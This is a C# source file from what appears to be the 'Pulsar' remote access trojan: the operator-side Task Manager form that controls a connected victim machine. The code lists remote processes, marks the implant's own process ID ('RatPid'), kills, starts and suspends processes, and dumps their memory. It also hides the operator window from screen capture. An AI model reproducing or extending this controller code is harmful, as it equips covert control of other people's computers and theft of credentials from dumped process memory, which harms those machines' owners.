542 lines
20 KiB
C#
542 lines
20 KiB
C#
using Pulsar.Common.Enums;
|
|
using Pulsar.Common.Messages;
|
|
using Pulsar.Common.Messages.Administration.TaskManager;
|
|
using Pulsar.Common.Models;
|
|
using Pulsar.Server.Controls;
|
|
using Pulsar.Server.Controls.Wpf;
|
|
using Pulsar.Server.Forms.DarkMode;
|
|
using Pulsar.Server.Helper;
|
|
using Pulsar.Server.Messages;
|
|
using Pulsar.Server.Networking;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Pulsar.Server.Forms
|
|
{
|
|
public partial class FrmTaskManager : Form
|
|
{
|
|
private readonly Client _connectClient;
|
|
private readonly TaskManagerHandler _taskManagerHandler;
|
|
private static readonly Dictionary<Client, FrmTaskManager> OpenedForms = new();
|
|
private List<FrmMemoryDump> _memoryDumps = new();
|
|
private int? _ratPid = null;
|
|
private readonly ProcessTreeView _processTreeView;
|
|
private Pulsar.Common.Models.Process[] _currentProcesses = Array.Empty<Pulsar.Common.Models.Process>();
|
|
private ProcessTreeSortColumn _sortColumn = ProcessTreeSortColumn.Name;
|
|
private bool _sortAscending = true;
|
|
|
|
private readonly System.Windows.Forms.Timer _countdownTimer;
|
|
private int _countdownValue = 7;
|
|
private bool _pauseAutoRefresh = false;
|
|
private System.Drawing.Color _originalLabelColor;
|
|
|
|
// Ultra-light update management
|
|
private DateTime _lastUpdateTime = DateTime.MinValue;
|
|
private readonly TimeSpan _minimumUpdateInterval = TimeSpan.FromMilliseconds(500);
|
|
private readonly Queue<Pulsar.Common.Models.Process[]> _updateQueue = new Queue<Pulsar.Common.Models.Process[]>();
|
|
private bool _isProcessingQueue = false;
|
|
private readonly object _queueLock = new object();
|
|
|
|
public static FrmTaskManager CreateNewOrGetExisting(Client client)
|
|
{
|
|
if (OpenedForms.TryGetValue(client, out var form)) return form;
|
|
form = new FrmTaskManager(client);
|
|
form.Disposed += (s, e) => OpenedForms.Remove(client);
|
|
OpenedForms[client] = form;
|
|
return form;
|
|
}
|
|
|
|
public FrmTaskManager(Client client)
|
|
{
|
|
_connectClient = client;
|
|
_taskManagerHandler = new TaskManagerHandler(client);
|
|
_processTreeView = new ProcessTreeView();
|
|
|
|
InitializeComponent();
|
|
DarkModeManager.ApplyDarkMode(this);
|
|
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
|
|
|
|
_processTreeView.SortRequested += ProcessTreeView_SortRequested;
|
|
_processTreeView.SelectedProcessChanged += ProcessTreeView_SelectedProcessChanged;
|
|
processTreeHost.Child = _processTreeView;
|
|
|
|
_originalLabelColor = toolStripStatusLabel1.ForeColor;
|
|
|
|
_countdownTimer = new System.Windows.Forms.Timer { Interval = 1000 };
|
|
_countdownTimer.Tick += CountdownTimer_Tick;
|
|
_countdownTimer.Start();
|
|
|
|
RegisterMessageHandler();
|
|
}
|
|
private void AutoExpandFirstExplorer()
|
|
{
|
|
if (_processTreeView == null) return;
|
|
|
|
_processTreeView.FlattenNodes();
|
|
|
|
var allNodesField = typeof(ProcessTreeView)
|
|
.GetField("_allNodes", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
|
|
if (allNodesField == null) return;
|
|
|
|
var allNodes = allNodesField.GetValue(_processTreeView) as List<ProcessTreeNode>;
|
|
if (allNodes == null || allNodes.Count == 0) return;
|
|
|
|
// Find the main explorer.exe: the one that has child processes
|
|
var node = allNodes
|
|
.Where(n => string.Equals(n.Name, "explorer.exe", StringComparison.OrdinalIgnoreCase))
|
|
.OrderByDescending(n => n.Children.Count) // choose the one with most children
|
|
.FirstOrDefault();
|
|
|
|
if (node != null)
|
|
{
|
|
// Expand the node's ancestors so the tree path is visible
|
|
void ExpandAncestors(ProcessTreeNode target)
|
|
{
|
|
var rootNodesProperty = typeof(ProcessTreeView)
|
|
.GetProperty("RootNodes", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
|
|
|
|
var rootNodes = rootNodesProperty?.GetValue(_processTreeView) as IEnumerable<ProcessTreeNode> ?? Enumerable.Empty<ProcessTreeNode>();
|
|
|
|
foreach (var root in rootNodes)
|
|
{
|
|
if (TryExpandPath(root, target)) break;
|
|
}
|
|
|
|
bool TryExpandPath(ProcessTreeNode current, ProcessTreeNode targetNode)
|
|
{
|
|
if (current == targetNode) return true;
|
|
|
|
foreach (var child in current.Children)
|
|
{
|
|
if (TryExpandPath(child, targetNode))
|
|
{
|
|
current.IsExpanded = true;
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
}
|
|
|
|
ExpandAncestors(node);
|
|
node.IsExpanded = true; // only expand the main explorer.exe node
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
private void CountdownTimer_Tick(object sender, EventArgs e)
|
|
{
|
|
toolStripStatusLabel1.Text = $"Refreshing in {_countdownValue}s...";
|
|
|
|
if (_countdownValue == 2)
|
|
toolStripStatusLabel1.ForeColor = System.Drawing.Color.Yellow;
|
|
else if (_countdownValue == 1)
|
|
toolStripStatusLabel1.ForeColor = System.Drawing.Color.Green;
|
|
else
|
|
toolStripStatusLabel1.ForeColor = _originalLabelColor;
|
|
|
|
if (_countdownValue > 0)
|
|
{
|
|
_countdownValue--;
|
|
}
|
|
else
|
|
{
|
|
if (!_pauseAutoRefresh)
|
|
_ = Task.Run(() => _taskManagerHandler.RefreshProcesses());
|
|
|
|
_countdownValue = 7; // reset to 7 seconds
|
|
toolStripStatusLabel1.ForeColor = _originalLabelColor;
|
|
}
|
|
}
|
|
|
|
private void RegisterMessageHandler()
|
|
{
|
|
_connectClient.ClientState += ClientDisconnected;
|
|
|
|
_taskManagerHandler.ProgressChanged += (s, processes) =>
|
|
{
|
|
QueueProcessUpdate(processes, _taskManagerHandler.LastProcessesResponse?.RatPid);
|
|
};
|
|
|
|
_taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed;
|
|
_taskManagerHandler.OnResponseReceived += CreateMemoryDump;
|
|
|
|
// Register with MessageHandler if exists
|
|
MessageHandler.Register(_taskManagerHandler);
|
|
}
|
|
|
|
private void UnregisterMessageHandler()
|
|
{
|
|
MessageHandler.Unregister(_taskManagerHandler);
|
|
_taskManagerHandler.OnResponseReceived -= CreateMemoryDump;
|
|
_taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed;
|
|
_taskManagerHandler.Dispose();
|
|
_connectClient.ClientState -= ClientDisconnected;
|
|
}
|
|
|
|
private void ClientDisconnected(Client client, bool connected)
|
|
{
|
|
if (!connected)
|
|
{
|
|
this.Invoke((MethodInvoker)this.Close);
|
|
}
|
|
}
|
|
|
|
private void QueueProcessUpdate(Pulsar.Common.Models.Process[] processes, int? ratPid)
|
|
{
|
|
lock (_queueLock)
|
|
{
|
|
_ratPid = ratPid;
|
|
|
|
_updateQueue.Clear();
|
|
_updateQueue.Enqueue(processes ?? Array.Empty<Pulsar.Common.Models.Process>());
|
|
|
|
if (!_isProcessingQueue)
|
|
{
|
|
_isProcessingQueue = true;
|
|
_ = Task.Run(ProcessUpdateQueue);
|
|
}
|
|
}
|
|
}
|
|
|
|
private async Task ProcessUpdateQueue()
|
|
{
|
|
while (true)
|
|
{
|
|
Pulsar.Common.Models.Process[] processesToUpdate = null;
|
|
|
|
lock (_queueLock)
|
|
{
|
|
if (_updateQueue.Count == 0)
|
|
{
|
|
_isProcessingQueue = false;
|
|
break;
|
|
}
|
|
processesToUpdate = _updateQueue.Dequeue();
|
|
}
|
|
|
|
if (processesToUpdate != null)
|
|
await ProcessAndUpdateAsync(processesToUpdate);
|
|
|
|
await Task.Delay(10);
|
|
}
|
|
}
|
|
|
|
private async Task ProcessAndUpdateAsync(Pulsar.Common.Models.Process[] processes)
|
|
{
|
|
var timeSinceLastUpdate = DateTime.Now - _lastUpdateTime;
|
|
if (timeSinceLastUpdate < _minimumUpdateInterval)
|
|
{
|
|
await Task.Delay(_minimumUpdateInterval - timeSinceLastUpdate);
|
|
}
|
|
|
|
var processedData = await Task.Run(() => ProcessDataInBackground(processes));
|
|
await UpdateUIAsync(processedData);
|
|
|
|
_lastUpdateTime = DateTime.Now;
|
|
}
|
|
|
|
private ProcessDataResult ProcessDataInBackground(Pulsar.Common.Models.Process[] processes)
|
|
{
|
|
var sortedProcesses = SortProcesses(processes, _sortColumn, _sortAscending);
|
|
|
|
return new ProcessDataResult
|
|
{
|
|
Processes = sortedProcesses,
|
|
ProcessCount = processes.Length,
|
|
RatPid = _ratPid
|
|
};
|
|
}
|
|
|
|
private Pulsar.Common.Models.Process[] SortProcesses(Pulsar.Common.Models.Process[] processes, ProcessTreeSortColumn sortColumn, bool ascending)
|
|
{
|
|
if (processes == null || processes.Length == 0)
|
|
return processes;
|
|
|
|
try
|
|
{
|
|
IEnumerable<Pulsar.Common.Models.Process> ordered = sortColumn switch
|
|
{
|
|
ProcessTreeSortColumn.Pid => processes.OrderBy(p => p.Id),
|
|
ProcessTreeSortColumn.WindowTitle => processes.OrderBy(p => p.MainWindowTitle ?? ""),
|
|
_ => processes.OrderBy(p => p.Name ?? "")
|
|
};
|
|
|
|
return ascending ? ordered.ToArray() : ordered.Reverse().ToArray();
|
|
}
|
|
catch
|
|
{
|
|
return processes;
|
|
}
|
|
}
|
|
|
|
private async Task UpdateUIAsync(ProcessDataResult data)
|
|
{
|
|
if (this.InvokeRequired)
|
|
await this.InvokeAsync(() =>
|
|
{
|
|
_processTreeView.UpdateProcesses(data.Processes, _sortColumn, _sortAscending, _ratPid);
|
|
AutoExpandFirstExplorer(); // call after update
|
|
});
|
|
else
|
|
{
|
|
_processTreeView.UpdateProcesses(data.Processes, _sortColumn, _sortAscending, _ratPid);
|
|
AutoExpandFirstExplorer();
|
|
}
|
|
|
|
|
|
UpdateStatusLabel(data.ProcessCount);
|
|
}
|
|
|
|
|
|
private void UpdateStatusLabel(int processCount)
|
|
{
|
|
string sortLabel = _sortColumn switch
|
|
{
|
|
ProcessTreeSortColumn.Pid => "PID",
|
|
ProcessTreeSortColumn.WindowTitle => "Title",
|
|
_ => "Name"
|
|
};
|
|
string orderLabel = _sortAscending ? "asc" : "desc";
|
|
processesToolStripStatusLabel.Text = $"Processes: {processCount} | Sort: {sortLabel} ({orderLabel})";
|
|
}
|
|
|
|
private void ProcessActionPerformed(object sender, ProcessAction action, bool result)
|
|
{
|
|
string text = action switch
|
|
{
|
|
ProcessAction.Start => result ? "Process started successfully" : "Failed to start process",
|
|
ProcessAction.End => result ? "Process ended successfully" : "Failed to end process",
|
|
_ => string.Empty
|
|
};
|
|
|
|
if (this.InvokeRequired)
|
|
this.Invoke((MethodInvoker)(() => processesToolStripStatusLabel.Text = text));
|
|
else
|
|
processesToolStripStatusLabel.Text = text;
|
|
}
|
|
|
|
private void FrmTaskManager_Load(object sender, EventArgs e)
|
|
{
|
|
this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient);
|
|
_ = Task.Run(() => _taskManagerHandler.RefreshProcesses());
|
|
}
|
|
|
|
private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e)
|
|
{
|
|
_countdownTimer.Stop();
|
|
UnregisterMessageHandler();
|
|
}
|
|
|
|
private IEnumerable<Pulsar.Common.Models.Process> GetSelectedProcesses() =>
|
|
_processTreeView?.SelectedProcesses ?? Array.Empty<Pulsar.Common.Models.Process>();
|
|
|
|
private void ProcessTreeView_SortRequested(object sender, SortRequestedEventArgs e)
|
|
{
|
|
if (_sortColumn == e.Column)
|
|
_sortAscending = !_sortAscending;
|
|
else
|
|
{
|
|
_sortColumn = e.Column;
|
|
_sortAscending = true;
|
|
}
|
|
|
|
if (_currentProcesses.Length > 0)
|
|
_ = Task.Run(() => ProcessAndUpdateAsync(_currentProcesses));
|
|
}
|
|
|
|
private void ProcessTreeView_SelectedProcessChanged(object sender, EventArgs e) { }
|
|
|
|
private void CreateMemoryDump(object sender, DoProcessDumpResponse response)
|
|
{
|
|
if (response.Result)
|
|
{
|
|
this.Invoke((MethodInvoker)(() =>
|
|
{
|
|
var dumpFrm = FrmMemoryDump.CreateNewOrGetExisting(_connectClient, response);
|
|
_memoryDumps.Add(dumpFrm);
|
|
dumpFrm.Show();
|
|
}));
|
|
}
|
|
else
|
|
{
|
|
string reason = string.IsNullOrEmpty(response.FailureReason) ? "" : $"Reason: {response.FailureReason}";
|
|
MessageBox.Show($"Failed to dump process!\n{reason}", $"Failed to dump process ({response.Pid}) - {response.ProcessName}");
|
|
}
|
|
}
|
|
|
|
public void SetAutoRefreshEnabled(bool enabled) => _pauseAutoRefresh = !enabled;
|
|
|
|
private void PerformOnSelectedProcesses(Action<Pulsar.Common.Models.Process> action)
|
|
{
|
|
_pauseAutoRefresh = true;
|
|
try
|
|
{
|
|
var selected = GetSelectedProcesses().ToList();
|
|
foreach (var process in selected)
|
|
action(process);
|
|
}
|
|
finally
|
|
{
|
|
_pauseAutoRefresh = false;
|
|
}
|
|
}
|
|
|
|
#region Menu Actions
|
|
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.EndProcess(p.Id));
|
|
|
|
private void startProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
string processName = string.Empty;
|
|
if (InputBox.Show("Process name", "Enter Process name:", ref processName) == DialogResult.OK)
|
|
_taskManagerHandler.StartProcess(processName);
|
|
}
|
|
|
|
private void refreshToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
_taskManagerHandler.RefreshProcesses();
|
|
|
|
private void dumpMemoryToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.DumpProcess(p.Id));
|
|
|
|
// Suspend selected processes
|
|
private void suspendProcessToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.SuspendProcess(p.Id, true));
|
|
|
|
// Resume selected processes
|
|
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.SuspendProcess(p.Id, false));
|
|
|
|
|
|
private void topmostOnToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.SetTopMost(p.Id, true));
|
|
|
|
private void topmostOffToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.SetTopMost(p.Id, false));
|
|
|
|
// New: Minimize / Maximize
|
|
private void minimizedToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.SetWindowState(p.Id, true));
|
|
|
|
private void maximizedToolStripMenuItem_Click(object sender, EventArgs e) =>
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.SetWindowState(p.Id, false));
|
|
#endregion
|
|
|
|
private string _lastSearchKeyword = ""; // Stores last search
|
|
|
|
protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
|
|
{
|
|
// Handle Ctrl + F globally
|
|
if (keyData == (Keys.Control | Keys.F))
|
|
{
|
|
ShowSearchDialog();
|
|
return true;
|
|
}
|
|
return base.ProcessCmdKey(ref msg, keyData);
|
|
}
|
|
|
|
private void ShowSearchDialog()
|
|
{
|
|
string prompt = "Search by name, window title, or PID. Enter keywords separated by spaces. Leave text selected and click Enter/OK to find next.";
|
|
|
|
string keyword = Microsoft.VisualBasic.Interaction.InputBox(
|
|
prompt,
|
|
"Find Process",
|
|
_lastSearchKeyword);
|
|
|
|
if (string.IsNullOrWhiteSpace(keyword))
|
|
keyword = _lastSearchKeyword;
|
|
|
|
if (!string.IsNullOrWhiteSpace(keyword))
|
|
{
|
|
_lastSearchKeyword = keyword.Trim();
|
|
_processTreeView.FlattenNodes();
|
|
_processTreeView.FindNext(_lastSearchKeyword);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
// Optional: keep your menu item wired up too
|
|
private void searchToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
ShowSearchDialog();
|
|
}
|
|
|
|
private void enableDisableAutoRefreshToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
// Toggle auto-refresh
|
|
_pauseAutoRefresh = !_pauseAutoRefresh;
|
|
|
|
// Toggle menu item checkmark
|
|
if (sender is ToolStripMenuItem menuItem)
|
|
menuItem.Checked = !_pauseAutoRefresh;
|
|
|
|
// Update status label
|
|
if (_pauseAutoRefresh)
|
|
{
|
|
toolStripStatusLabel1.Text = "Auto refresh disabled";
|
|
toolStripStatusLabel1.ForeColor = System.Drawing.Color.Red;
|
|
_countdownTimer.Stop(); // stop ticking
|
|
}
|
|
else
|
|
{
|
|
toolStripStatusLabel1.Text = $"Refreshing in {_countdownValue}s...";
|
|
toolStripStatusLabel1.ForeColor = _originalLabelColor;
|
|
_countdownTimer.Start(); // resume ticking
|
|
}
|
|
}
|
|
private void SetSuspendStateForSelectedProcesses(bool suspend)
|
|
{
|
|
PerformOnSelectedProcesses(p => _taskManagerHandler.SuspendProcess(p.Id, suspend));
|
|
}
|
|
|
|
private void beginSuspendToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
SetSuspendStateForSelectedProcesses(true);
|
|
}
|
|
|
|
private void endSuspendToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
SetSuspendStateForSelectedProcesses(false);
|
|
}
|
|
|
|
}
|
|
|
|
public class ProcessDataResult
|
|
{
|
|
public Pulsar.Common.Models.Process[] Processes { get; set; } = Array.Empty<Pulsar.Common.Models.Process>();
|
|
public int ProcessCount { get; set; }
|
|
public int? RatPid { get; set; }
|
|
}
|
|
|
|
public static class ControlExtensions
|
|
{
|
|
public static Task InvokeAsync(this Control control, Action action)
|
|
{
|
|
var tcs = new TaskCompletionSource<object>();
|
|
control.BeginInvoke((Action)(() =>
|
|
{
|
|
try
|
|
{
|
|
action();
|
|
tcs.SetResult(null);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
tcs.SetException(ex);
|
|
}
|
|
}));
|
|
return tcs.Task;
|
|
}
|
|
}
|
|
}
|